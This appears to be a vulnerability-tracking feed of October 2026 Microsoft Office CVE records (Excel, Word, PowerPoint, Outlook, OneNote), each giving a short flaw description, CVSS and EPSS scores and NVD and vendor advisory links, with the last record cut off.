### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97007
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97007).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97007&date=2026-10-25).
Sources:
NVD CVE-2026-97007: https://nvd.nist.gov/vuln/detail/CVE-2026-97007
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97007
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97007&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97004
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97004).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97004&date=2026-10-25).
Sources:
NVD CVE-2026-97004: https://nvd.nist.gov/vuln/detail/CVE-2026-97004
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97004
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97004&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97003
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97003).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97003&date=2026-10-25).
Sources:
NVD CVE-2026-97003: https://nvd.nist.gov/vuln/detail/CVE-2026-97003
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97003
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97003&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-97001
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97001).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97001&date=2026-10-25).
Sources:
NVD CVE-2026-97001: https://nvd.nist.gov/vuln/detail/CVE-2026-97001
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97001
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97001&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96997
Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96997).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96997&date=2026-10-25).
Sources:
NVD CVE-2026-96997: https://nvd.nist.gov/vuln/detail/CVE-2026-96997
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96997&date=2026-10-25
Use after free in Microsoft Office OneNote allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96995
Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96995).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96995&date=2026-10-25).
Sources:
NVD CVE-2026-96995: https://nvd.nist.gov/vuln/detail/CVE-2026-96995
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96995&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Word allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-88210
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally. (Oct 13, 2026).
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88210).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88210&date=2026-10-25).
Sources:
NVD CVE-2026-88210: https://nvd.nist.gov/vuln/detail/CVE-2026-88210
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88210&date=2026-10-25
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88207
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88207).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88207&date=2026-10-25).
Sources:
NVD CVE-2026-88207: https://nvd.nist.gov/vuln/detail/CVE-2026-88207
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88207&date=2026-10-25
Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88202
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88202).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88202&date=2026-10-25).
Sources:
NVD CVE-2026-88202: https://nvd.nist.gov/vuln/detail/CVE-2026-88202
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88202&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88197
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88197).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88197&date=2026-10-25).
Sources:
NVD CVE-2026-88197: https://nvd.nist.gov/vuln/detail/CVE-2026-88197
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88197&date=2026-10-25
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88196
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88196).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88196&date=2026-10-25).
Sources:
NVD CVE-2026-88196: https://nvd.nist.gov/vuln/detail/CVE-2026-88196
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88196&date=2026-10-25
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88186
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88186).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88186&date=2026-10-25).
Sources:
NVD CVE-2026-88186: https://nvd.nist.gov/vuln/detail/CVE-2026-88186
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88186&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88185
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88185).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88185&date=2026-10-25).
Sources:
NVD CVE-2026-88185: https://nvd.nist.gov/vuln/detail/CVE-2026-88185
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88185
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88185&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88178
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88178).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88178&date=2026-10-25).
Sources:
NVD CVE-2026-88178: https://nvd.nist.gov/vuln/detail/CVE-2026-88178
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88178&date=2026-10-25
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88156
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88156).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88156&date=2026-10-25).
Sources:
NVD CVE-2026-88156: https://nvd.nist.gov/vuln/detail/CVE-2026-88156
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88156
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88156&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88150
Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88150).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88150&date=2026-10-25).
Sources:
NVD CVE-2026-88150: https://nvd.nist.gov/vuln/detail/CVE-2026-88150
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88150&date=2026-10-25
Use of uninitialized resource in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88145
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88145).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88145&date=2026-10-25).
Sources:
NVD CVE-2026-88145: https://nvd.nist.gov/vuln/detail/CVE-2026-88145
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88145
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88145&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88144
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88144).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88144&date=2026-10-25).
Sources:
NVD CVE-2026-88144: https://nvd.nist.gov/vuln/detail/CVE-2026-88144
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88144
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88144&date=2026-10-25
Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83891
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83891).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83891&date=2026-10-25).
Sources:
NVD CVE-2026-83891: https://nvd.nist.gov/vuln/detail/CVE-2026-83891
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83891&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-77902
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77902).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77902&date=2026-10-25).
Sources:
NVD CVE-2026-77902: https://nvd.nist.gov/vuln/detail/CVE-2026-77902
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-77902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77902&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70302
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70302).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70302&date=2026-10-25).
Sources:
NVD CVE-2026-70302: https://nvd.nist.gov/vuln/detail/CVE-2026-70302
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70302&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70301
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70301).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70301&date=2026-10-25).
Sources:
NVD CVE-2026-70301: https://nvd.nist.gov/vuln/detail/CVE-2026-70301
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70301
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70301&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70291
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70291).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70291&date=2026-10-25).
Sources:
